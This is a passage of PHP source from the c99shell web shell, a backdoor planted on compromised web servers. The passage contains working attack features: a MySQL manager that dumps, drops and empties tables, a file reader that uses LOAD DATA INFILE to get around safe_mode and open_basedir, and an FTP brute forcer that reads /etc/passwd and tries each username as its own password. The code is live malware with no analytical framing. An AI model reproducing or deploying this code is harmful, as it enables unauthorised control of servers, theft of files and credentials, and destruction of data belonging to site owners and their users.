1257 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
1258 }
1259 if (in_array($sql_act,$acts))
1260 {
1261 ?><table border="0" width="100%" height="1"><tr>
1262 <td width="30%" height="1"><b>Create a new table:</b>
1263 <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td>
1264
1265 <td width="30%" height="1"><b>Dump DataBase:</b>
1266 <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
1267 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
1268 if ($sql_act == "newtbl")
1269 {
1270 echo "<b>";
1271 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1272 }
1273 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1274 }
1275 elseif ($sql_act == "dump")
1276 {
1277 if (empty($submit))
1278 {
1279 $diplay = FALSE;
1280 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1281 echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1282 $v = join (";",$dmptbls);
1283 echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1284 if ($dump_file) {$tmp = $dump_file;}
1285 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1286 echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1287 echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1288 echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1289 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
1290 echo "</form>";
1291 }
1292 else
1293 {
1294 $diplay = TRUE;
1295 $set = array();
1296 $set["sock"] = $sql_sock;
1297 $set["db"] = $sql_db;
1298 $dump_out = "download";
1299 $set["print"] = 0;
1300 $set["nl2br"] = 0;
1301 $set[""] = 0;
1302 $set["file"] = $dump_file;
1303 $set["add_drop"] = TRUE;
1304 $set["onlytabs"] = array();
1305 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1306 $ret = mysql_dump($set);
1307 if ($sql_dump_download)
1308 {
1309 @ob_clean();
1310 header("Content-type: application/octet-stream");
1311 header("Content-length: ".strlen($ret));
1312 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
1313 echo $ret;
1314 exit;
1315 }
1316 elseif ($sql_dump_savetofile)
1317 {
1318 $fp = fopen($sql_dump_file,"w");
1319 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1320 else
1321 {
1322 fwrite($fp,$ret);
1323 fclose($fp);
1324 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1325 }
1326 }
1327 else {echo "<b>Dump: nothing to do!</b>";}
1328 }
1329 }
1330 if ($diplay)
1331 {
1332 if (!empty($sql_tbl))
1333 {
1334 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
1335 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1336 $count_row = mysql_fetch_array($count);
1337 mysql_free_result($count);
1338 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1339 $tbl_struct_fields = array();
1340 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1341 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
1342 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
1343 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
1344 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
1345 $perpage = $sql_tbl_le - $sql_tbl_ls;
1346 if (!is_numeric($perpage)) {$perpage = 10;}
1347 $numpages = $count_row[0]/$perpage;
1348 $e = explode(" ",$sql_order);
1349 if (count($e) == 2)
1350 {
1351 if ($e[0] == "d") {$asc_desc = "DESC";}
1352 else {$asc_desc = "ASC";}
1353 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1354 }
1355 else {$v = "";}
1356 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1357 $result = mysql_query($query) or print(mysql_smarterror());
1358 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1359 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1360 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1361 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1362 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1363 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
1364 if ($sql_tbl_act == "insert")
1365 {
1366 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1367 if (!empty($sql_tbl_insert_radio))
1368 {
1369
1370 }
1371 else
1372 {
1373 echo "<br><br><b>Inserting row into table:</b><br>";
1374 if (!empty($sql_tbl_insert_q))
1375 {
1376 $sql_query = "SELECT * FROM `".$sql_tbl."`";
1377 $sql_query .= " WHERE".$sql_tbl_insert_q;
1378 $sql_query .= " LIMIT 1;";
1379 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1380 $values = mysql_fetch_assoc($result);
1381 mysql_free_result($result);
1382 }
1383 else {$values = array();}
1384 echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
1385 foreach ($tbl_struct_fields as $field)
1386 {
1387 $name = $field["Field"];
1388 if (empty($sql_tbl_insert_q)) {$v = "";}
1389 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1390 $i++;
1391 }
1392 echo "</table><br>";
1393 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1394 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1395 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
1396 }
1397 }
1398 if ($sql_tbl_act == "browse")
1399 {
1400 $sql_tbl_ls = abs($sql_tbl_ls);
1401 $sql_tbl_le = abs($sql_tbl_le);
1402 echo "<hr size=\"1\" noshade>";
1403 echo "[Pages]&nbsp;";
1404 $b = 0;
1405 for($i=0;$i<$numpages;$i++)
1406 {
1407 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1408 echo $i;
1409 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1410 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1411 else {echo "&nbsp;";}
1412 }
1413 if ($i == 0) {echo "empty";}
1414 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
1415 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
1416 echo "<tr>";
1417 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
1418 for ($i=0;$i<mysql_num_fields($result);$i++)
1419 {
1420 $v = mysql_field_name($result,$i);
1421 if ($e[0] == "a") {$s = "d"; $m = "asc";}
1422 else {$s = "a"; $m = "desc";}
1423 echo "<td>";
1424 if (empty($e[0])) {$e[0] = "a";}
1425 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1426 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";}
1427 echo "</td>";
1428 }
1429 echo "<td><font color=\"green\"><b>Action</b></font></td>";
1430 echo "</tr>";
1431 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1432 {
1433 echo "<tr>";
1434 $w = "";
1435 $i = 0;
1436 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
1437 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
1438 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1439 $i = 0;
1440 foreach ($row as $k=>$v)
1441 {
1442 $v = htmlspecialchars($v);
1443 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
1444 echo "<td>".$v."</td>";
1445 $i++;
1446 }
1447 echo "<td>";
1448 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;";
1449 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;";
1450 echo "</td>";
1451 echo "</tr>";
1452 }
1453 mysql_free_result($result);
1454 echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">";
1455 echo "<option value=\"\">With selected:</option>";
1456 echo "<option value=\"deleterow\">Delete</option>";
1457 echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1458 }
1459 }
1460 else
1461 {
1462 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1463 if (!$result) {echo mysql_smarterror();}
1464 else
1465 {
1466 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
1467 $i = 0;
1468 $tsize = $trows = 0;
1469 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1470 {
1471 $tsize += $row["Data_length"];
1472 $trows += $row["Rows"];
1473 $size = view_size($row["Data_length"]);
1474 echo "<tr>";
1475 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
1476 echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
1477 echo "<td>".$row["Rows"]."</td>";
1478 echo "<td>".$row["Type"]."</td>";
1479 echo "<td>".$row["Create_time"]."</td>";
1480 echo "<td>".$row["Update_time"]."</td>";
1481 echo "<td>".$size."</td>";
1482 echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>";
1483 echo "</tr>";
1484 $i++;
1485 }
1486 echo "<tr bgcolor=\"000000\">";
1487 echo "<td><center><b>»</b></center></td>";
1488 echo "<td><center><b>".$i." table(s)</b></center></td>";
1489 echo "<td><b>".$trows."</b></td>";
1490 echo "<td>".$row[1]."</td>";
1491 echo "<td>".$row[10]."</td>";
1492 echo "<td>".$row[11]."</td>";
1493 echo "<td><b>".view_size($tsize)."</b></td>";
1494 echo "<td></td>";
1495 echo "</tr>";
1496 echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">";
1497 echo "<option value=\"\">With selected:</option>";
1498 echo "<option value=\"tbldrop\">Drop</option>";
1499 echo "<option value=\"tblempty\">Empty</option>";
1500 echo "<option value=\"tbldump\">Dump</option>";
1501 echo "<option value=\"tblcheck\">Check table</option>";
1502 echo "<option value=\"tbloptimize\">Optimize table</option>";
1503 echo "<option value=\"tblrepair\">Repair table</option>";
1504 echo "<option value=\"tblanalyze\">Analyze table</option>";
1505 echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1506 mysql_free_result($result);
1507 }
1508 }
1509 }
1510 }
1511 }
1512 else
1513 {
1514 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
1515 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DataBase:</b>
1516 <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
1517 if (!empty($sql_act))
1518 {
1519 echo "<hr size=\"1\" noshade>";
1520 if ($sql_act == "newdb")
1521 {
1522 echo "<b>";
1523 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1524 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1525 }
1526 if ($sql_act == "serverstatus")
1527 {
1528 $result = mysql_query("SHOW STATUS", $sql_sock);
1529 echo "<center><b>Server-status variables:</b><br><br>";
1530 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1531 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1532 echo "</table></center>";
1533 mysql_free_result($result);
1534 }
1535 if ($sql_act == "servervars")
1536 {
1537 $result = mysql_query("SHOW VARIABLES", $sql_sock);
1538 echo "<center><b>Server variables:</b><br><br>";
1539 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1540 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1541 echo "</table>";
1542 mysql_free_result($result);
1543 }
1544 if ($sql_act == "processes")
1545 {
1546 if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
1547 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1548 echo "<center><b>Processes:</b><br><br>";
1549 echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1550 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1551 echo "</table>";
1552 mysql_free_result($result);
1553 }
1554 if ($sql_act == "getfile")
1555 {
1556 $tmpdb = $sql_login."_tmpdb";
1557 $select = mysql_select_db($tmpdb);
1558 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1559 if ($select)
1560 {
1561 $created = FALSE;
1562 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1563 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1564 $result = mysql_query("SELECT * FROM tmp_file;");
1565 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1566 else
1567 {
1568 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1569 $f = "";
1570 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1571 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1572 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1573 mysql_free_result($result);
1574 mysql_query("DROP TABLE tmp_file;");
1575 }
1576 }
1577 mysql_drop_db($tmpdb); //comment it if you want to leave database
1578 }
1579 }
1580 }
1581 }
1582 echo "</td></tr></table>";
1583 if ($sql_sock)
1584 {
1585 $affected = @mysql_affected_rows($sql_sock);
1586 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1587 echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
1588 }
1589 echo "</table>";
1590}
1591if ($act == "mkdir")
1592{
1593 if ($mkdir != $d)
1594 {
1595 if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
1596 elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
1597 echo "<br><br>";
1598 }
1599 $act = $dspact = "ls";
1600}
1601if ($act == "ftpquickbrute")
1602{
1603 echo "<b>FTP Brute Forcer: </b><br>";
1604 if (!win) {echo "This functions not work in Windows!<br><br>";}
1605 else
1606 {
1607 function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
1608 {
1609 if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1610 else {$TRUE = TRUE;}
1611 if ($TRUE)
1612 {
1613 $sock = @ftp_connect($host,$port,$timeout);
1614 if (@ftp_login($sock,$login,$pass))
1615 {
1616 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1617 ob_flush();
1618 return TRUE;
1619 }
1620 }
1621 }
1622 if (!empty($submit))
1623 {
1624 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1625 $fp = fopen("/etc/passwd","r");
1626 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1627 else
1628 {
1629 if ($fqb_logging)
1630 {
1631 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1632 else {$fqb_logfp = FALSE;}
1633 $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1634 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1635 }
1636 ob_flush();
1637 $i = $success = 0;
1638 $ftpquick_st = getmicrotime();
1639 while(!feof($fp))
1640 {
1641 $str = explode(":",fgets($fp,2048));
1642 if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
1643 {
1644 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1645 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1646 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1647 $success++;
1648 ob_flush();
1649 }
1650 if ($i > $fqb_lenght) {break;}
1651 $i++;
1652 }
1653 if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
1654 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1655 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1656 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1657 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1658 if ($fqb_logemail) {@array($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
1659 fclose($fqb_logfp);
1660 }
1661 }
1662 else
1663 {
1664 $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1665 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1666 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
1667 }
1668 }
1669}
1670if ($act == "d")
1671{
1672 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
1673 else
1674 {
1675 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1676 if (!$win)
1677 {
1678 echo "<tr><td><b>Owner/Group</b></td><td> ";
1679 $ow = posix_getpwuid(fileowner($d));
1680 $gr = posix_getgrgid(filegroup($d));
1681 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1682 }
